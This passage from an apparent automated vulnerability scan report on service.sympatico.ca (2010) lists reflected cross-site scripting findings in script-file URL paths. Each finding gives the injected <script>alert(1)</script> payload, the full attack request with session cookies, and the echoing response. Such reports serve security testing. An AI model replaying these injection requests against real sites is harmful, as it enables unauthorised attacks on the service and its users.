Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:41 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.dialogpopup.jsa298f"><script>alert(1)</script>44952989070" />
...[SNIP]...

2.208. http://service.sympatico.ca/js/jquery.easing.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.easing.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e129"><script>alert(1)</script>6742e877de5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js9e129"><script>alert(1)</script>6742e877de5/jquery.easing.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:36 GMT
Connection: close
Set-Cookie: SMSESSION=xmC3dQ7JTMfraMlQOnEaP0DODVZE/u9XqemcX9ngdZLSNmw9dc409ZCle2QOF59ABHi1jiJzZbk/e2RAXnxrmPn9WpRo0skFkG4cscGv/655QlNfJy09hNYEQm0fVOX7bD+Fw94B116s/EsmPnIm686i2oM5H4TZXhsWIkaGAxtk7XmEz8WiqWw5Dg1uvIf784joY/C5oVvZ8KCDGA12JwjJT2d9WkIKqGirmh35JoranWt2NBb7Sv1GYrdldpQ7R/Egl2mt4Zh+13m1X3C4Wljw3mF7oMediQyE3gNvs3ThhXTlLKsnEQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:37 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:37 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:37 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:37 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:37 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:37 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:37 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:37 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:37 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:37 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:37 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:37 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:37 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:37 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js9e129"><script>alert(1)</script>6742e877de5/jquery.easing.js" />
...[SNIP]...

2.209. http://service.sympatico.ca/js/jquery.easing.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.easing.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56daf"><script>alert(1)</script>46650afe9da was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.easing.js56daf"><script>alert(1)</script>46650afe9da HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:39 GMT
Connection: close
Set-Cookie: SMSESSION=UHGKUjl5hz/VDJmAnmCvgNIoQLByYCejBRIHus68AqsIgmePXBxg/IVNGvBy0PfR8vslursQsiC1IIEZhsoqKBbgykKgEmn1EtRceMMKdXMC/0bgZFjJN6vsjDHhMNOGvsf9a/cEzLz3GkGP26ARMAiucxU3QTp0kugQz0Tnxx6iDp94faHs9KP4BL5TPqIoC2NRzeUU6VsCot/JeEItQmM2p75q5EK1wTG3eAG67IWeYUp3cJdKzuSmMOpjpoKtq2mcDQjh5BYOkgHhYgw7p+4dH7qt3Qyh7l8w/uVN/dMoKiNK5BSsSw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:39 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:39 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:39 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:39 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:39 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:39 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:39 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:39 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:39 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:39 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:39 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:39 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:39 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:39 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
dden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.easing.js56daf"><script>alert(1)</script>46650afe9da" />
...[SNIP]...

2.210. http://service.sympatico.ca/js/jquery.flash.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.flash.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ffa4"><script>alert(1)</script>2759b14755d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js3ffa4"><script>alert(1)</script>2759b14755d/jquery.flash.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:42 GMT
Connection: close
Set-Cookie: SMSESSION=uNvKUnmKuCyLPHS3ybnnBxUKs/uAoAVArtbUlpFZpdLJW3VZCOViy8dbu/5smLC/rzB+9AUHjqOb4A00/tc6GxO5lN2dQAwxYn7JQTo8i7XJqaOZw6g5kxnND8kNa0AvHVFi0Kf0dY0iC1+CB4YzLSF6gAN/Nw27+kNWcdONdp0+WQdZE6xl0fnbCkARddgIhVjxfDkXp4k8Rtmb0XjacnMdIgyhj7JX8BdLZtdzbMpin6Gd3MGOgCMXk1AzNsWMal0nUZxnHJ0E2D+uu9oL8J9adpafyjC5k/N7F7W9I7dLRz3xJqXqUg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:43 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:43 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:43 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:43 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%